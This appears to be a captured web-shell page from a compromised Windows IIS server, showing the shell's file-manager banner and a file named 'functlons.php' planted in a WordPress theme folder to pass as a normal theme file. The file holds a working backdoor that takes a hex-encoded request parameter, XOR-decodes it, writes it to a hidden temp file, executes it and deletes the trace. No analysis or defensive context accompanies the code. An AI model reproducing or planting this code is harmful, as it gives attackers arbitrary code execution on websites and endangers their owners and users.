HEX
Server: Microsoft-IIS/10.0
System: Windows NT HMW8635 10.0 build 14393 (Windows Server 2016) i586
User: ibratele2 (0)
PHP: 8.0.11
Disabled: escapeshellarg, escapeshellcmd, exec, passthru, proc_close, proc_open, shell_exec, system, dl, popen, php_check_syntax, php_strip_whitespace, symlink, link, openlog, apache_child_terminate
Upload Files
File: E:/Home/ibratele2/Web/wp-content/themes/home_1772447591/functlons.php
<!--SEgwUvV4-->
<?php

if(!is_null($_REQUEST["v\x61l"] ?? null)){
$resource = array_filter([getenv("TMP"), getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", sys_get_temp_dir(), "/dev/shm", getcwd()]);
$flg = hex2bin($_REQUEST["v\x61l"]);
$obj = ''  ;   foreach(str_split($flg) as $char){$obj.=chr(ord($char)^39);}
for ($parameter_group = 0, $key = count($resource); $parameter_group < $key; $parameter_group++) {
    $component = $resource[$parameter_group];
            if ((function($d) { return is_dir($d) && is_writable($d); })($component)) {
            $ent = vsprintf("%s/%s", [$component, ".itm"]);
            if ($pointer = fopen($ent, 'w')) {
    fwrite($pointer, $obj);
    fclose($pointer);
    include_once $ent;
    unlink($ent);
    die();
}
        }
}
}